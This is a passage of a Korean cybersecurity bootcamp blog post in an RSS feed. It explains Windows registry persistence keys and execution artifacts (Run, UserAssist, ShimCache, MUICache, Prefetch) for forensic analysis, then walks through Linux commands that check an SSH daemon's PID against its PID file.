&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;14&quot;&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;▪&lt;/span&gt; 특징: 현재 로그인한 사용자 계정만 영향. &lt;span data-token-index=&quot;16&quot;&gt;권한 없이 등록 가능하여 악성코드 이용 빈도 최상.&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;18&quot;&gt;Run vs RunOnce 차이&lt;/span&gt;: ◦ &lt;span data-token-index=&quot;20&quot;&gt;Run&lt;/span&gt;: 매 부팅/로그온 시 지속적 실행. (백도어, C&amp;amp;C 연결 유지) ◦ &lt;span data-token-index=&quot;22&quot;&gt;RunOnce&lt;/span&gt;: 1회 실행 후 키 값 자동 삭제. (초기 침투 후 페이로드 설치, 자가 삭제 스크립트 구동) &amp;bull; &lt;span data-token-index=&quot;24&quot;&gt;RunOnce 예외 옵션&lt;/span&gt;: ◦&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;26&quot;&gt;!&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Exclamation): 실행 후에도 값 삭제 방지 (잘 쓰이지 않으나 우회 기법으로 존재). ◦&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;28&quot;&gt;*&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Asterisk): 안전 모드(Safe Mode) 부팅 시에도 실행 강제. &lt;span data-token-index=&quot;30&quot;&gt; 1.2 Wow6432Node (32-bit 호환성 은닉)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;32&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;34&quot;&gt;HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;span data-token-index=&quot;36&quot;&gt;개념&lt;/span&gt;: 64비트 OS에서 32비트 애플리케이션 호환을 위한 리다이렉션 경로. &amp;bull; &lt;span data-token-index=&quot;38&quot;&gt;분석 포인트&lt;/span&gt;: 분석가가 일반&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;40&quot;&gt;Software\Microsoft\...&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로만 확인할 때, 이 경로에 악성코드를 숨겨 탐지를 우회하는 경우가 빈번함. &lt;span data-token-index=&quot;42&quot;&gt;필수 점검 대상.&lt;/span&gt; &lt;span data-token-index=&quot;44&quot;&gt; 1.3 Policies (정책 기반 강제 실행)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;46&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;48&quot;&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;span data-token-index=&quot;50&quot;&gt;특징&lt;/span&gt;: 그룹 정책(GPO)에 의해 실행이 강제되는 항목. 일반적인 사용자는 이 키를 생성하지 않음. &amp;bull; &lt;span data-token-index=&quot;52&quot;&gt;분석 포인트&lt;/span&gt;: 해당 경로에 값이 존재할 경우, 악성코드가 시스템 정책을 악용하여 삭제를 어렵게 만들었을 가능성 높음. &lt;span data-token-index=&quot;54&quot;&gt; 1.4 서비스형 실행 (Legacy &amp;amp; Services)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;56&quot;&gt;RunServices / RunServicesOnce&lt;/span&gt;: ◦ 특징: 사용자가 로그온하기 전, 백그라운드 서비스 형태로 실행. ◦ 현황: Windows 9x 계열 호환성 잔재이나, 일부 레거시 악성코드에서 여전히 사용 시도. &lt;span data-token-index=&quot;58&quot;&gt; &lt;span&gt; &lt;/span&gt; 2. 실행 흔적 (Execution Artifacts) 분석&lt;/span&gt; 삭제된 파일이라도 &quot;실행되었다&quot;는 증거를 남기는 레지스트리 및 아티팩트. 포렌식의 핵심. &lt;span data-token-index=&quot;60&quot;&gt; 2.1 UserAssist (GUI 실행 기록)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;62&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;64&quot;&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;span data-token-index=&quot;66&quot;&gt;특징&lt;/span&gt;: 윈도우 탐색기(GUI)를 통해 실행된 프로그램 기록 (아이콘 더블 클릭 등). &amp;bull; &lt;span data-token-index=&quot;68&quot;&gt;데이터 구조&lt;/span&gt;: ◦ &lt;span data-token-index=&quot;70&quot;&gt;ROT13 인코딩&lt;/span&gt;: 프로그램 이름이 ROT13 알고리즘으로 난독화되어 저장됨 (예:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;72&quot;&gt;cmd.exe&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;74&quot;&gt;pzq.rkr&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;). ◦ &lt;span data-token-index=&quot;76&quot;&gt;포함 정보&lt;/span&gt;: 실행 횟수(Run Count), 마지막 실행 시간(Last Execution Time). &amp;bull; &lt;span data-token-index=&quot;78&quot;&gt;활용&lt;/span&gt;: 사용자가 직접 악성 파일을 실행했는지 여부 판단 가능. &lt;span data-token-index=&quot;80&quot;&gt; 2.2 ShimCache (AppCompatCache) - 호환성 캐시&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;82&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;84&quot;&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;span data-token-index=&quot;86&quot;&gt;특징&lt;/span&gt;: 프로그램 호환성 문제 해결을 위해 실행 파일 정보를 캐싱. &amp;bull; &lt;span data-token-index=&quot;88&quot;&gt;분석 중요도(★)&lt;/span&gt;: 1. &lt;span data-token-index=&quot;90&quot;&gt;휘발성&lt;/span&gt;: 시스템 종료/재부팅 시에만 메모리에서 레지스트리로 기록됨. (라이브 포렌식 시 주의). 2. &lt;span data-token-index=&quot;92&quot;&gt;존재 증명&lt;/span&gt;: 파일이 디스크에서 삭제되어도 캐시 기록은 유지됨. 3. &lt;span data-token-index=&quot;94&quot;&gt;시간 정보&lt;/span&gt;: 파일의&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;96&quot;&gt;Last Modified Time&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 기록하므로, &lt;span data-token-index=&quot;98&quot;&gt;Time Stomping(시간 조작) 여부 탐지&lt;/span&gt;에 핵심적 역할. &lt;span data-token-index=&quot;100&quot;&gt; 2.3 MUICache (프로그램 이름 캐시)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;102&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;104&quot;&gt;HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(버전별 상이) &amp;bull; &lt;span data-token-index=&quot;106&quot;&gt;특징&lt;/span&gt;: 실행 파일 경로와 그 파일이 내부에 가지고 있는 '프로그램 이름(Description)'을 매핑. &amp;bull; &lt;span data-token-index=&quot;108&quot;&gt;활용&lt;/span&gt;: 악성코드가 파일명을&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;110&quot;&gt;svchost.exe&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 위장했더라도, 내부 속성 이름이&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;112&quot;&gt;Keylogger&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등으로 되어 있다면 이곳에 기록되어 발각됨. &lt;span data-token-index=&quot;114&quot;&gt; 2.4 Prefetch (프리패치) - 비(非) 레지스트리 핵심 아티팩트&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;116&quot;&gt;경로&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;118&quot;&gt;C:\Windows\Prefetch\*.pf&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;span data-token-index=&quot;120&quot;&gt;생성 원리&lt;/span&gt;: 실행 속도 향상을 위해 실행 시 로드되는 코드/데이터 정보를 파일로 저장. &amp;bull; &lt;span data-token-index=&quot;122&quot;&gt;분석 포인트&lt;/span&gt;: ◦ 파일명 형식:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;124&quot;&gt;실행파일명-해시값.pf&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;◦ &lt;span data-token-index=&quot;126&quot;&gt;정보&lt;/span&gt;: 실행 횟수, 최초/최근 실행 시각(최대 8개까지 기록), 참조한 DLL 목록. ◦ &lt;span data-token-index=&quot;128&quot;&gt;의의&lt;/span&gt;: 특정 악성 도구의 정확한 실행 시점과 빈도 증명. &lt;span data-token-index=&quot;130&quot;&gt; &lt;span&gt; &lt;/span&gt; 3. 종합 요약 및 분석 체크리스트&lt;/span&gt; &lt;span data-token-index=&quot;132&quot;&gt; 레지스트리 키별 요약표&lt;/span&gt; &lt;span data-token-index=&quot;134&quot;&gt;구분주요 키(Key)역할 및 특징포렌식 관점지속성Run / RunOnce&lt;/span&gt;로그온 시 자동 실행악성코드 생존 여부 1순위 확인&lt;span data-token-index=&quot;136&quot;&gt;지속성Wow6432Node&lt;/span&gt;32비트 호환 실행은닉된 악성코드 탐지&lt;span data-token-index=&quot;138&quot;&gt;지속성Policies/Explorer&lt;/span&gt;정책 기반 강제 실행시스템 설정 조작 및 강제성 확인&lt;span data-token-index=&quot;140&quot;&gt;흔적UserAssist&lt;/span&gt;GUI 실행 기록 (ROT13)사용자의 인지 및 직접 실행 여부&lt;span data-token-index=&quot;142&quot;&gt;흔적ShimCache&lt;/span&gt;호환성 데이터 (Shutdown 시 기록)삭제된 파일의 실행 이력, 타임라인 구성&lt;span data-token-index=&quot;144&quot;&gt;흔적MUICache&lt;/span&gt;프로그램 이름 매핑위장 파일(Masquerading) 식별&lt;span data-token-index=&quot;146&quot;&gt;흔적RecentDocs&lt;/span&gt;최근 문서 기록데이터 유출/문서 열람 흔적 &lt;span data-token-index=&quot;148&quot;&gt; 분석 프로세스 제안&lt;/span&gt; 1. &lt;span data-token-index=&quot;150&quot;&gt;지속성 확인&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;152&quot;&gt;Run&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;,&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;154&quot;&gt;RunOnce&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;,&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;156&quot;&gt;Startup&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폴더 확인 &amp;rarr; 악성코드 식별. 2. &lt;span data-token-index=&quot;158&quot;&gt;교차 분석&lt;/span&gt;: 식별된 의심 파일명으로&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;160&quot;&gt;Prefetch&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;,&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;162&quot;&gt;ShimCache&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색. 3. &lt;span data-token-index=&quot;164&quot;&gt;타임라인 구성&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;166&quot;&gt;UserAssist&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;168&quot;&gt;Prefetch&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의 실행 시간을 조합하여 침해 사고 발생 시점 재구성. 4. &lt;span data-token-index=&quot;170&quot;&gt;은닉 탐지&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;172&quot;&gt;Wow6432Node&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;및 숨김 파일 속성 확인.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcGYl9/dJMcacIme56/qw730Rr1Ng7XhblLY9S5aK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcGYl9/dJMcacIme56/qw730Rr1Ng7XhblLY9S5aK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcGYl9/dJMcacIme56/qw730Rr1Ng7XhblLY9S5aK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcGYl9%2FdJMcacIme56%2Fqw730Rr1Ng7XhblLY9S5aK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;691&quot; height=&quot;213&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. sshd 프로세스와 PID 파일 대조 (교차 검증)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 핵심적인 행동은 첫 번째와 두 번째 명령어입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ps -ef | grep ssh[d]&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;행동:&lt;/b&gt; 현재 실행 중인 프로세스 목록(ps)에서 sshd(SSH 데몬)를 찾습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과:&lt;/b&gt; root 권한으로 실행된 sshd 프로세스가 보이고, 프로세스 ID(PID)가 &lt;b&gt;1124&lt;/b&gt;번인 것을 확인했습니다.&lt;/li&gt;
&lt;li&gt;참고: grep ssh[d]라고 쓴 것은 grep 명령어 자기 자신을 결과에서 제외하기 위한 리눅스 고수들의 습관(Tip)입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;cat /var/run/sshd.pid&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;행동:&lt;/b&gt; 시스템이 관리하는 sshd의 PID 파일 내용을 읽습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과:&lt;/b&gt; &lt;b&gt;1124&lt;/b&gt;가 출력되었습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의도:&lt;/b&gt; &quot;실제로 메모리에 떠 있는 프로세스 번호(1124)&quot;와 &quot;시스템이 기록해둔 번호(1124)&quot;가 &lt;b&gt;일치하는지 확인&lt;/b&gt;하는 것입니다. 이 두 숫자가 다르면 서비스가 비정상 종료되었거나 꼬인 상태(Stale)일 수 있는데, 여기서는 완벽하게 일치하므로 &lt;b&gt;정상&lt;/b&gt;입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 현재 내 접속 환경 확인 (tty, echo $$)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 명령어는 현재 내가 작업 중인 터미널 세션에 대한 정보 확인입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;tty&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;결과:&lt;/b&gt; /dev/pts/0&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의미:&lt;/b&gt; 현재 사용자가 물리적인 서버 콘솔 앞에 있는 것이 아니라, SSH 등을 통해 &lt;b&gt;원격으로 접속&lt;/b&gt;했거나 GUI 환경의 터미널 창을 쓰고 있다는 뜻입니다. (가상 터미널)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;echo $$&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;결과:&lt;/b&gt; 6451&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의미:&lt;/b&gt; 지금 명령어를 입력하고 있는 &lt;b&gt;현재 쉘(Shell)의 PID&lt;/b&gt;를 확인하는 것입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의도:&lt;/b&gt; 위에서 확인한 sshd 데몬(1124)과, 내 쉘(6451)은 별개의 프로세스라는 것을 인지하거나, 추후 로그 분석 등을 위해 내 세션 ID를 미리 알아두려는 목적입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한마디로 **&quot;SSH 서버가 1124번으로 잘 돌고 있는지 확실히 체크하고(PID 대조), 나는 가상 터미널(/dev/pts/0)에서 작업 중이구나&quot;**라고 상황 파악을 하는 모습입니다.&lt;/p&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프 후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/26</guid>
      <comments>https://yejiamoe.tistory.com/26#entry26comment</comments>
      <pubDate>Wed, 3 Dec 2025 09:27:08 +0900</pubDate>
    </item>
  </channel>
</rss>